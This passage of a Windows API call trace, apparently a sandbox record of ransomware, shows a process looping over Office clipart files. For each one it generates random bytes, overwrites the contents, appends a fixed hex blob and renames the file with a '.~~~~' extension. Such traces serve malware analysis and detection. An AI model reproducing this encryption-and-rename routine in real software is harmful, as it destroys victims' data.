	[0097.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c2e0
	[0097.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.438] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.438] GetLastError () returned 0x0
	[0097.438] GetLastError () returned 0x0
	[0097.438] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.438] GetLastError () returned 0x0
	[0097.439] GetLastError () returned 0x0
	[0097.627] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb370, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.627] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x25dfec0*=0x4c90, lpOverlapped=0x0) returned 1
	[0097.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.627] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.627] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.628] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.628] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.628] CloseHandle (hObject=0x11c) returned 1
	[0097.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.~~~~")) returned 1
	[0097.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.629] GetLastError () returned 0x0
	[0097.629] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.630] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.631] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21762119588) returned 1
	[0097.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3e6c510, dwHighDateTime=0x1d60e1e)) 
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841028
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841028 | out: hHeap=0x300000) returned 1
	[0097.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c540
	[0097.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.632] GetLastError () returned 0x0
	[0097.632] GetLastError () returned 0x0
	[0097.632] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.632] GetLastError () returned 0x0
	[0097.632] GetLastError () returned 0x0
	[0097.641] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcb70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.642] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3490, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x3490, lpOverlapped=0x0) returned 1
	[0097.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.643] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.643] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.643] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.643] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.643] CloseHandle (hObject=0x11c) returned 1
	[0097.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.~~~~")) returned 1
	[0097.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.645] GetLastError () returned 0x0
	[0097.645] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.646] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.646] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.646] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21763637452) returned 1
	[0097.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3e92670, dwHighDateTime=0x1d60e1e)) 
	[0097.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841098
	[0097.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841098 | out: hHeap=0x300000) returned 1
	[0097.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280cd90
	[0097.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.647] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.647] GetLastError () returned 0x0
	[0097.647] GetLastError () returned 0x0
	[0097.647] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.647] GetLastError () returned 0x0
	[0097.648] GetLastError () returned 0x0
	[0097.674] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffa8e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.674] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x571c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x571c, lpOverlapped=0x0) returned 1
	[0097.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.675] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.675] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.675] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.675] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.675] CloseHandle (hObject=0x11c) returned 1
	[0097.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.~~~~")) returned 1
	[0097.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.676] GetLastError () returned 0x0
	[0097.677] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.678] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.678] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.678] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21766790284) returned 1
	[0097.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3ede930, dwHighDateTime=0x1d60e1e)) 
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841178
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841178 | out: hHeap=0x300000) returned 1
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280cec0
	[0097.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.678] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.679] GetLastError () returned 0x0
	[0097.679] GetLastError () returned 0x0
	[0097.679] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.679] GetLastError () returned 0x0
	[0097.679] GetLastError () returned 0x0
	[0097.687] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd910, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.687] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x26f0, lpOverlapped=0x0) returned 1
	[0097.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.688] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.688] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.688] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.688] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.688] CloseHandle (hObject=0x11c) returned 1
	[0097.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.689] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.~~~~")) returned 1
	[0097.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.690] GetLastError () returned 0x0
	[0097.690] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.692] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.692] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.692] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21768186695) returned 1
	[0097.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3f04a90, dwHighDateTime=0x1d60e1e)) 
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28411e8
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28411e8 | out: hHeap=0x300000) returned 1
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d120
	[0097.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.692] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.692] GetLastError () returned 0x0
	[0097.693] GetLastError () returned 0x0
	[0097.693] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.693] GetLastError () returned 0x0
	[0097.693] GetLastError () returned 0x0
	[0097.698] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffde98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.698] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2168, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x2168, lpOverlapped=0x0) returned 1
	[0097.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.699] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.699] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.699] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.699] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.699] CloseHandle (hObject=0x11c) returned 1
	[0097.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.699] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.~~~~")) returned 1
	[0097.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.700] GetLastError () returned 0x0
	[0097.700] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.701] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.701] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.701] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21769115086) returned 1
	[0097.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3f2abf0, dwHighDateTime=0x1d60e1e)) 
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841220
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
